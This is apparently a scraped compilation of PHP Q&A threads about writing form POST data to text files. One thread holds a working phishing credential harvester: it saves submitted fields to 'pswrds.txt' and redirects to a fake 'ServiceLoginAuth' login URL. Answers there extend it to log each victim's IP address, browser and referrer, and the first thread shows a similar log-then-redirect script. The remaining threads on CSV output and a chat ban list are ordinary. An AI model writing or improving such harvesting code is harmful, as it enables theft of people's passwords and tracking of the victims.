How to log IP address in text file - php

<?php
header ('Location: http://proxy4free.com');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
This is my code currently i'm practicing and i would like to know how to log ip address in text file with PHP. I have no idea, but made attempts.

<?php
$ip = $_SERVER['REMOTE_ADDR']; //get supposed IP
$handle = fopen("log.txt", "a"); //open log file
foreach($_POST as $variable => $value) { //loop through POST vars
fwrite($handle, $variable . "+" . $value . "\r\n");
}
fwrite($handle, "IP: $ip \r\n \r\n");
fclose($handle);
header ('Location: http://proxy4free.com');
exit;
Note that file_put_contents is a wrapper around fopen/fwrite/fclose and will simplify your code (although I've not benchmarked it to see if it's slower, as you're writing multiple lines ... of course, you could just concatenate to one string and write all-at-once). You might wish to try that.
Your header() call should be reserved until AFTER PHP's had time to write your log, and then followed by an "exit" as you'd done previously.
Security hasn't been addressed here at all. If someone posted something unexpected, they might do all manner of mischief (just as an example, a huge POST var might fill up precious disk space your server must have to run --- and there might be more nefarious stuff too). Consider using an input filter for each of those $_POST vars at a bare minimum (http://php.net/filter_input). If you know what you're expecting from them, do something further (intval, preg_match testing, etc.)

<?php
$ip = $_SERVER['REMOTE_ADDR']; //get supposed IP
$handle = fopen("log.txt", "a"); //open log file
foreach($_POST as $variable => $value) { //loop through POST vars
fwrite($handle, $variable . "+" . $value . "\r\n");
}
fwrite($handle, "IP: $ip \r\n \r\n");
fclose($handle);
header ('Location: http://proxy4free.com');
exit;

Related

PHP to save user information to txt file

The following code saves certain information to pswrds.txt:
<?php
header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth ");
$handle = fopen("pswrds.txt", "a");
foreach($_POST as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
How can I get the code to also save the IP, User Agent & Referrer?
$ip = $_SERVER['REMOTE_ADDR'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$referrer = $_SERVER['HTTP_REFERER'];
You could assign $_POST to a variable in your local scope, then add the variables you want to the array:
$post = $_POST;
$post['ip'] = $_SERVER['REMOTE_ADDR'];
$post['browser'] = $_SERVER['HTTP_USER_AGENT'];
$post['referrer'] = $_SERVER['HTTP_REFERER'];
Then go about your loop as you are doing now, but iterate over $post not $_POST.
NOTE: Also you should stop hardcoding the newline characters yourself, use PHP_EOL instead. http://php.net/manual/en/reserved.constants.php#constant.php-eol
update
<?php
header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth ");
$handle = fopen("pswrds.txt", "a");
$post = $_POST;
$post['ip'] = $_SERVER['REMOTE_ADDR'];
$post['browser'] = $_SERVER['HTTP_USER_AGENT'];
$post['referrer'] = $_SERVER['HTTP_REFERER'];
foreach($post as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, PHP_EOL);
}
fwrite($handle, PHP_EOL);
fclose($handle);
exit;
?>

php not writing content to text file

I am trying to write content from a form to a text file, and don't know why it is not working. I have uploaded the code on a free host like 000webhost and everything works fine. So not sure if there is some misconfiguration to my CentOS server which is CentOS release 6.5 (Final). Or if there is something wrong with the code, any help would be much appreciated.
<?php
header("Location: http://www.example.com");
$handle = fopen("data.txt", "a");
foreach($_POST as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Make sure you have the correct permissions to the folder you're trying to write to. It's probably getting by the apache user (www-data) or equiv.
Also, PHP has some nicer methods of writing to files. Try something like:
$output = '';
foreach($_POST as $key => $val)
$output .= sprintf("%s = %s\n", $key, $val);
file_put_contents('data.txt', $output);
That should be clear as long as $_POST isn't 2D. If it's 2D, or more for debugging purposes, why not use print_r() (as it's recursive), eg.
file_put_contents('data.txt', print_r($_POST, true));
The second argument makes it return a string rather than actually print.
For clarity, I'd consider putting the header('Location: xxx') call at the end (even though it won't make a functional difference).

php save to csv file

I'm wanting to store basic data from a single form box and I've created this php code base, but it doesn't seem to be working. Can someone take a glance and see if anything stands out to why this wouldn't work.
Edit: the csv file never updates with new data
if (isset($_POST["submit"]))
{
$name = $_POST["name"];
date_default_timezone_set('America/New_York');
$date = date('Y-m-d H:i:s');
if (empty($name))
{
echo "ERROR MESSAGE";
die;
}
$cvsData ='"$name","$date"'.PHP_EOL;
$cvsData .= "\"$name\",\"$date\"".PHP_EOL;
$fp = fopen("emailAddressses.csv", "a");
if ($fp)
{
fwrite($fp,$cvsData); // Write information to the file
fclose($fp); // Close the file
}
}
Use the nicer way in php : fputcsv
Otherwise you need to do lot of error handling to achieve in your case.
$list = array (
array('First Name', 'Last Name', 'Age'),
array('Angelina ', 'Jolie', '37'),
array('Tom', 'Cruise', '50')
);
$fp = fopen('file.csv', 'w');
foreach ($list as $fields) {
fputcsv($fp, $fields);
}
fclose($fp);
You should look into fputcsv. This will add CSV to you file and take care of fields and line ends.
fputcsv($fp,array(array($name,$date)));
You can also specify delimiters and such if you want.
This part will not behave like you expect, the variables are not evaluated when inside single quotes:
$cvsData ='"$name","$date"'.PHP_EOL;
You will need to use double quotes:
$cvsData ="\"$name\",\"$date\"".PHP_EOL;

Store variables in a certain format PHP

I'm trying to store data in a text file in a certain format.
Here is the code:
<?php
header ('Location: http://myshoppingsite.com/ ');
$handle = fopen("userswhobought.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "===============\r\n");
fclose($handle);
exit;
?>
So on the previous HTML page they put in 2 value, their name and location, then the php code above would get me their info what they inputted and will store it in the userswhobought.txt
This is how it stores at the moment:
Username=John
Location=UK
commit=
===============
But I simply want it to store like this
John:UK
===============
Nextuser:USA
==============
Lee:Ukraine
So it's easier for me to extract.
Thanks
take your original code
<?php
header ('Location: http://myshoppingsite.com/ ');
$handle = fopen("userswhobought.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "===============\r\n");
fclose($handle);
exit;
?>
and change to
<?php
$datastring = $_POST['Username'].":".$_POST['Location']."
===============\r\n";
file_put_contents("userswhobought.txt",$datastring,FILE_APPEND);
header ('Location: http://myshoppingsite.com/ ');
exit;
?>
Instead of looping through the $_POST data you need to directly manipulate the POST data and then you can use it however you want but I would suggest looking into a database option like mysql, postgres, or sqlite - you can even store data in nosql options like mongodb as well.
<?php
header ('Location: http://myshoppingsite.com/ ');
$handle = fopen("userswhobought.txt", "a");
fwrite($handle, $_POST['Username']);
fwrite($handle, ":");
fwrite($handle, $_POST['Location']);
fwrite($handle, "===============\r\n");
fclose($handle);
exit;
?>
<?php
header ('Location: http://myshoppingsite.com/ ');
$handle = fopen("userswhobought.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, ":");
fwrite($handle, $value);
fwrite($handle, "===============\r\n");
}
fclose($handle);
exit;
?>
foreach($_POST as $variable => $value) {
$write_this = "$variable:$value\r\n"
fwrite($handle, $write_this );
}
fwrite($handle, "===============\r\n");
Additionally, I would suggest moving the header() call to right before the exit. Technically, that works, but it's not what most people do.
Instead of your foreach, just add $_POST['Username'].":".$_POST['Location']."\r\n" in your file.
Just place fwrite($handle, "===============\r\n"); inside your loop.

How to Search and Find in Txt file. Then Using The Found Variable

OK, this is Another Project Im Working ON.
Its a Chat Client. and Using it For Staff
I want the server to have a staff.txt on it.
and I want the php file to do this.
Execute the php.
if The Submitted Username is Found in the staff.txt then
The Username changes to [Staff]"Username Here"
I got the search and find down.
I Cant seem to keep the username that was submitted, and just adding staff to it.
Im Adding my Source Now.
<?php
// Parameters (Leave this Alone)
$Message = $_GET["message"];
$Username = htmlspecialchars($_GET["username"]);
$time = ($_GET["time"]);
// User Banning
$data = file_get_contents('Banned.txt');
if(strpos($data, $Username) !== FALSE)
{
die();
}
else
{
// File Writing (Leave this Alone)
$File = "Chat.txt";
$Handle = fopen($File, "a");
fwrite($Handle, $Username);
fwrite($Handle, ": ");
fwrite($Handle, $Message);
fwrite($Handle, " -:-:- ");
fwrite($Handle, $time);
fwrite($Handle, "\r\n");
print "Message Sent";
fclose($Handle);
}
?>
I have user banning working, and i Want the Staff To Work in the same way.
Any Help would be appreciated
Trying it a different way
If ($Username=="!divider!StaffMember1") $Username="!divider![Staff] StaffMember1";
If ($Username=="!divider!StaffMember2") $Username="!divider![Staff] StaffMember2";
that seems to work fine in the php file thats running the php with everything else.
Is there a way to have that list in a seperate file? .txt file or .php doesnt matter.
You can just do it like the banlist:
<?php
// Parameters (Leave this Alone)
$Message = $_GET["message"];
$Username = htmlspecialchars($_GET["username"]);
$time = ($_GET["time"]);
// check staff
$data = file_get_contents('staff.txt');
if(strpos($data, $Username) !== FALSE)
$Username = '[STAFF]' . $Username;
// User Banning
$data = file_get_contents('Banned.txt');
if(strpos($data, $Username) !== FALSE)
{
die();
}
else
{
// File Writing (Leave this Alone)
$File = "Chat.txt";
$Handle = fopen($File, "a");
fwrite($Handle, $Username);
fwrite($Handle, ": ");
fwrite($Handle, $Message);
fwrite($Handle, " -:-:- ");
fwrite($Handle, $time);
fwrite($Handle, "\r\n");
print "Message Sent";
fclose($Handle);
}
?>

Categories